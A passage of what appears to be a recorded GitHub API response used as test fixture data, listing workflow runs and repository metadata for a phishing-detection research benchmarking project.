ng-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}}]} - -https -GET -api.github.com -None -/repos/ReDASers/Phishing-Detection/actions/runs?event=pull_request -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"194f951a12eab0b64d8161173bc1ca3ee1b34be4923c0362e8b5413423acc2a2"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4906'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '94'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F150:57BE:1433D:386CB:5F987CA0')] -{"total_count":288,"workflow_runs":[{"id":298867254,"node_id":"MDExOldvcmtmbG93UnVuMjk4ODY3MjU0","head_branch":"feature_selection","head_sha":"c3796e68dd5102e4c4984225382e73d7ad0e1f15","run_number":286,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1318275001,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzE4Mjc1MDAx","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867254","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/298867254","pull_requests":[],"created_at":"2020-10-10T07:31:46Z","updated_at":"2020-10-10T07:34:24Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867254/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867254/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1318275001","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867254/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867254/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867254/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"c3796e68dd5102e4c4984225382e73d7ad0e1f15","tree_id":"99515d4a384553cfb694f22d6c66916affb96489","message":"Module docstrings","timestamp":"2020-10-10T07:31:34Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":298839288,"node_id":"MDExOldvcmtmbG93UnVuMjk4ODM5Mjg4","head_branch":"feature_selection","head_sha":"6ae0e78204433bc1db30d2cd2bf97c4d37ada87c","run_number":285,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1318223668,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzE4MjIzNjY4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839288","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/298839288","pull_requests":[],"created_at":"2020-10-10T07:05:04Z","updated_at":"2020-10-10T07:07:37Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839288/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839288/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1318223668","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839288/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839288/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839288/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"6ae0e78204433bc1db30d2cd2bf97c4d37ada87c","tree_id":"ed9234db99b96a859a2663e65905890a31cdd260","message":"Module docstrings","timestamp":"2020-10-10T07:04:53Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":298826745,"node_id":"MDExOldvcmtmbG93UnVuMjk4ODI2NzQ1","head_branch":"feature_selection","head_sha":"9dd95674fcf7ff800fcc2e2427d4dde49d64db19","run_number":284,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1318196356,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzE4MTk2MzU2","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298826745","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/298826745","pull_requests":[],"created_at":"2020-10-10T06:48:46Z","updated_at":"2020-10-10T06:51:16Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298826745/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298826745/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1318196356","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298826745/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298826745/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298826745/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"9dd95674fcf7ff800fcc2e2427d4dde49d64db19","tree_id":"86526d56181254db4cca83ae6dbba490f499a4c4","message":"refactored Feature_Selection.py","timestamp":"2020-10-10T06:40:51Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/i